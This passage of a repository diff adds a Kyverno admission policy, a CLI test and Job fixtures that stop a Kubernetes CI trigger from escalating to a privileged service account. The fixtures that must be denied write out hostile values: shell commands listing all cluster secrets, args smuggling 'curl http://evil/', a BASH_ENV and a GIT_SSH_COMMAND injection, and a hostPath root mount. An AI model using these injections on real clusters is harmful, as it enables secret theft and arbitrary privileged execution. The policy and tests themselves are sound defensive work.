|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
|
||||
committed clone step: the digest-pinned conformance-runner image,
|
||||
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
|
||||
escalation, not privileged. An initContainer running a shell with a caller-supplied
|
||||
script is arbitrary code execution as the privileged conformance-runner SA — the
|
||||
escalation the rest of this policy exists to prevent. See
|
||||
conformance/incluster/conformance-clone.
|
||||
foreach:
|
||||
- list: "request.object.spec.template.spec.initContainers"
|
||||
deny:
|
||||
conditions:
|
||||
any:
|
||||
# At most one. The committed run needs exactly one clone step; a second
|
||||
# init container has no legitimate purpose and is how you smuggle one in.
|
||||
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
|
||||
operator: GreaterThan
|
||||
value: 1
|
||||
# Digest-pinned under the conformance repository path — same rule as
|
||||
# containers[0], same honest limit (see IMAGE PINNING in the header).
|
||||
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
|
||||
operator: Equals
|
||||
value: false
|
||||
# The baked-in entrypoint, exactly — not a shell, not a second path.
|
||||
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
|
||||
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
|
||||
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
|
||||
operator: NotEquals
|
||||
value: "/usr/local/bin/conformance-clone"
|
||||
# NO ARGS. This is the whole point: args on an init container are
|
||||
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
|
||||
- key: "{{ length(not_null(element.args, `[]`)) }}"
|
||||
operator: GreaterThan
|
||||
value: 0
|
||||
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
|
||||
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
|
||||
# the COMPLIANT value false into true and deny every good Job.
|
||||
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
|
||||
operator: NotEquals
|
||||
value: true
|
||||
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
|
||||
operator: NotEquals
|
||||
value: false
|
||||
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
|
||||
operator: NotEquals
|
||||
value: false
|
||||
|
||||
# =========================================================================================
|
||||
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
|
||||
# container list on a PodSpec, and it was as unread as `initContainers` was.
|
||||
#
|
||||
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
|
||||
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
|
||||
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
|
||||
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
|
||||
# when the field is absent, and removes the need to be right about it. If the API server
|
||||
# does reject it, nothing changes; if it does not, this is the same hole again.
|
||||
# =========================================================================================
|
||||
- name: trigger-may-not-declare-ephemeral-containers
|
||||
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger Jobs may not declare ephemeralContainers. The committed
|
||||
conformance run has no use for one, and an ephemeral container is a third container
|
||||
list running as the privileged conformance-runner SA with an arbitrary command.
|
||||
deny:
|
||||
conditions:
|
||||
all:
|
||||
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
|
||||
operator: GreaterThan
|
||||
value: 0
|
||||
|
||||
# =========================================================================================
|
||||
# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
|
||||
#
|
||||
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
|
||||
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
|
||||
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
|
||||
# environment variable on either container.
|
||||
#
|
||||
# That is not hypothetical. Both programs the Job runs read their environment:
|
||||
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
|
||||
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
|
||||
# image (it dies on a mismatch rather than honouring a redirect — which is why the
|
||||
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
|
||||
# already closed there, in the image, not here);
|
||||
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
|
||||
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
|
||||
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
|
||||
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
|
||||
# thing standing between a caller-chosen env var and the privileged SA.
|
||||
#
|
||||
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
|
||||
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
|
||||
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
|
||||
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
|
||||
# name is what a program keys its behaviour on.
|
||||
# =========================================================================================
|
||||
- name: trigger-env-names-must-be-the-committed-set
|
||||
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger Jobs may set only the committed environment variables. The runner
|
||||
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
|
||||
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
|
||||
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
|
||||
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
|
||||
conformance-runner SA. Widening this list is a reviewed one-line change.
|
||||
foreach:
|
||||
- list: "request.object.spec.template.spec.containers[0].env"
|
||||
deny:
|
||||
conditions:
|
||||
all:
|
||||
- key: "{{ element.name }}"
|
||||
operator: AnyNotIn
|
||||
value:
|
||||
- CONF_ARTIFACTS
|
||||
- CONF_EMIT_ARTIFACTS_TGZ
|
||||
- TMPDIR
|
||||
- HOME
|
||||
# Flattened across init containers: the rule above already caps them at one, but this
|
||||
# must not silently stop checking if that cap is ever relaxed.
|
||||
- list: "request.object.spec.template.spec.initContainers[].env[]"
|
||||
deny:
|
||||
conditions:
|
||||
all:
|
||||
- key: "{{ element.name }}"
|
||||
operator: AnyNotIn
|
||||
value:
|
||||
- CONFORMANCE_GIT_SHA
|
||||
- CONFORMANCE_REPO_URL
|
||||
- CONFORMANCE_SRC
|
||||
- GITEA_USERNAME
|
||||
- GITEA_TOKEN
|
||||
- TMPDIR
|
||||
- HOME
|
||||
|
||||
- name: trigger-may-not-use-envfrom
|
||||
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
|
||||
as environment variables, whose KEYS are not visible in the Job at all — which would
|
||||
make the env-name allowlist above unenforceable by inspection.
|
||||
deny:
|
||||
conditions:
|
||||
any:
|
||||
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
|
||||
operator: GreaterThan
|
||||
value: 0
|
||||
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
|
||||
operator: GreaterThan
|
||||
value: 0
|
||||
@@ -20,3 +20,7 @@ resources:
|
||||
# --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
|
||||
# (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
|
||||
- secret-provenance.yaml
|
||||
# --- R-SEC-02: constrain what the conformance CI trigger may create ---
|
||||
# THE security boundary for CI cluster access. Enforce + fail-closed, deliberately NOT
|
||||
# subject to ${KYVERNO_VALIDATION_ACTION}. See the file header.
|
||||
- conformance-trigger-job-shape.yaml
|
||||
@@ -0,0 +1,120 @@
|
||||
# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
|
||||
#
|
||||
# Each DENY case below is a real escalation path, not a style violation. The one that matters
|
||||
# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
|
||||
# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
|
||||
# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
|
||||
# this policy.
|
||||
#
|
||||
# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
|
||||
# never fires and every case trivially passes — a test that proves nothing.
|
||||
apiVersion: cli.kyverno.io/v1alpha1
|
||||
kind: Test
|
||||
metadata:
|
||||
name: conformance-trigger-job-shape
|
||||
policies:
|
||||
- ../../admission/conformance-trigger-job-shape.yaml
|
||||
resources:
|
||||
- resources.yaml
|
||||
userinfo: user-info.yaml
|
||||
results:
|
||||
# ---- the committed run is ADMITTED ----
|
||||
# `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
|
||||
# init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
|
||||
# so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
|
||||
# 2am against the live cluster. `good-run` remains the minimal shape.
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-may-create-only-the-committed-conformance-run
|
||||
kind: Job
|
||||
resources: [good-run, real-template]
|
||||
result: pass
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-volumes-must-be-workspace-or-results
|
||||
kind: Job
|
||||
resources: [good-run, real-template]
|
||||
result: pass
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-args-must-be-the-committed-flags
|
||||
kind: Job
|
||||
resources: [good-run, real-template]
|
||||
result: pass
|
||||
# `real-template` is the only fixture WITH an init container, so it is the only one this
|
||||
# rule reports on — a foreach over an absent list yields no result at all, which is why
|
||||
# `good-run` is not listed here.
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-initcontainers-must-be-the-committed-clone-step
|
||||
kind: Job
|
||||
resources: [real-template]
|
||||
result: pass
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-may-not-declare-ephemeral-containers
|
||||
kind: Job
|
||||
resources: [good-run, real-template]
|
||||
result: pass
|
||||
# Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-env-names-must-be-the-committed-set
|
||||
kind: Job
|
||||
resources: [real-template]
|
||||
result: pass
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-may-not-use-envfrom
|
||||
kind: Job
|
||||
resources: [good-run, real-template]
|
||||
result: pass
|
||||
|
||||
# ---- THE escalation: runner SA + arbitrary command ----
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-may-create-only-the-committed-conformance-run
|
||||
kind: Job
|
||||
resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
|
||||
result: fail
|
||||
|
||||
# ---- an extra volume is the way out of a constrained pod ----
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-volumes-must-be-workspace-or-results
|
||||
kind: Job
|
||||
resources: [extra-volume]
|
||||
result: fail
|
||||
|
||||
# ---- args beyond the committed flags ----
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-args-must-be-the-committed-flags
|
||||
kind: Job
|
||||
resources: [injected-args]
|
||||
result: fail
|
||||
|
||||
# ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
|
||||
# Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
|
||||
# before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
|
||||
# is the coordinator's independent reproduction; keeping it here is what stops the hole
|
||||
# reopening.
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-initcontainers-must-be-the-committed-clone-step
|
||||
kind: Job
|
||||
resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
|
||||
result: fail
|
||||
|
||||
# ---- and via the third container list nobody was reading ----
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-may-not-declare-ephemeral-containers
|
||||
kind: Job
|
||||
resources: [evil-ephemeral-container]
|
||||
result: fail
|
||||
|
||||
# ---- and via `env`, the same mistake a third time ----
|
||||
# `command` is pinned, so the injection moves to a variable the pinned command honours.
|
||||
# BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
|
||||
# execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
|
||||
# rule — its container shape is perfect and only its env is hostile, which is exactly why the
|
||||
# env rule has to exist separately.
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-env-names-must-be-the-committed-set
|
||||
kind: Job
|
||||
resources: [injected-env, injected-initcontainer-env]
|
||||
result: fail
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-may-not-use-envfrom
|
||||
kind: Job
|
||||
resources: [envfrom-whole-secret]
|
||||
result: fail
|
||||
@@ -0,0 +1,464 @@
|
||||
# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
|
||||
# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
|
||||
# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
|
||||
# `results` are the only two volume names admission allows. Must be ADMITTED.
|
||||
#
|
||||
# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
|
||||
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
|
||||
# securityContext, and the presence of the init container) in step with it.
|
||||
#
|
||||
# The init container carries NO args: its logic is baked into the runner image at
|
||||
# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
|
||||
# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
|
||||
# see `evil-initcontainer` below for the escalation it closes.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: real-template
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
runAsUser: 65532
|
||||
fsGroup: 65532
|
||||
initContainers:
|
||||
- name: clone-suite-at-commit
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["/usr/local/bin/conformance-clone"]
|
||||
env:
|
||||
- name: CONFORMANCE_GIT_SHA
|
||||
value: "0123456789abcdef0123456789abcdef01234567"
|
||||
# BY SECRET NAME ONLY — and as env, not as a volume.
|
||||
- name: GITEA_USERNAME
|
||||
valueFrom:
|
||||
secretKeyRef: { name: conformance-git-readonly, key: username }
|
||||
- name: GITEA_TOKEN
|
||||
valueFrom:
|
||||
secretKeyRef: { name: conformance-git-readonly, key: token }
|
||||
volumeMounts:
|
||||
- { name: workspace, mountPath: /workspace }
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
readOnlyRootFilesystem: true
|
||||
capabilities: { drop: ["ALL"] }
|
||||
containers:
|
||||
- name: chainsaw
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
workingDir: /workspace/src/conformance
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
|
||||
env:
|
||||
- name: CONF_ARTIFACTS
|
||||
value: /results
|
||||
- name: CONF_EMIT_ARTIFACTS_TGZ
|
||||
value: "1"
|
||||
volumeMounts:
|
||||
- { name: workspace, mountPath: /workspace }
|
||||
- { name: results, mountPath: /results }
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
readOnlyRootFilesystem: true
|
||||
capabilities: { drop: ["ALL"] }
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# The minimal committed shape — must be ADMITTED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: good-run
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: evil-command
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
---
|
||||
# An arbitrary image running as the privileged SA. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: evil-image
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
containers:
|
||||
- name: runner
|
||||
image: docker.io/library/alpine:latest
|
||||
command: ["./run.sh"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
---
|
||||
# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: tag-not-digest
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
|
||||
command: ["./run.sh"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
---
|
||||
# Host namespaces + privilege escalation. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: host-namespaces
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
hostPID: true
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
securityContext:
|
||||
runAsNonRoot: false
|
||||
allowPrivilegeEscalation: true
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
---
|
||||
# An extra volume — the way out of a constrained pod. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: extra-volume
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: hostroot
|
||||
hostPath:
|
||||
path: /
|
||||
---
|
||||
# Injected args beyond the committed flags. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: injected-args
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2", ";", "curl", "http://evil/"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
---
|
||||
# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
|
||||
# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
|
||||
# INIT container running as the privileged conformance-runner SA. Before
|
||||
# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
|
||||
# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
|
||||
# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
|
||||
#
|
||||
# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
|
||||
# Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: evil-initcontainer
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
initContainers:
|
||||
- name: sneak
|
||||
image: docker.io/library/alpine:latest
|
||||
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||
securityContext:
|
||||
privileged: true
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
|
||||
# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
|
||||
# command mean anything, so this must be DENIED even though image and command are correct.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: initcontainer-with-args
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
initContainers:
|
||||
- name: clone-suite-at-commit
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["/usr/local/bin/conformance-clone"]
|
||||
args: ["--exec", "curl http://evil/"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
|
||||
# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
|
||||
# and caps the count. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: second-initcontainer
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
initContainers:
|
||||
- name: clone-suite-at-commit
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["/usr/local/bin/conformance-clone"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
- name: also-me
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
|
||||
# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
|
||||
# script runs. Everything else here is the committed shape. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: injected-env
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2,l3"]
|
||||
env:
|
||||
- name: CONF_ARTIFACTS
|
||||
value: /results
|
||||
- name: BASH_ENV
|
||||
value: /workspace/src/conformance/_pwned
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
|
||||
# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: envfrom-whole-secret
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2,l3"]
|
||||
envFrom:
|
||||
- secretRef:
|
||||
name: anything-in-this-namespace
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
|
||||
# is the thing that reads them. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: injected-initcontainer-env
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
initContainers:
|
||||
- name: clone-suite-at-commit
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["/usr/local/bin/conformance-clone"]
|
||||
env:
|
||||
- name: CONFORMANCE_GIT_SHA
|
||||
value: "0123456789abcdef0123456789abcdef01234567"
|
||||
- name: GIT_SSH_COMMAND
|
||||
value: "sh -c 'kubectl get secrets -A'"
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2,l3"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
|
||||
# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
|
||||
# this case may be unreachable in practice; the rule and this fixture exist because
|
||||
# "probably rejected upstream" is not a boundary. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: evil-ephemeral-container
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
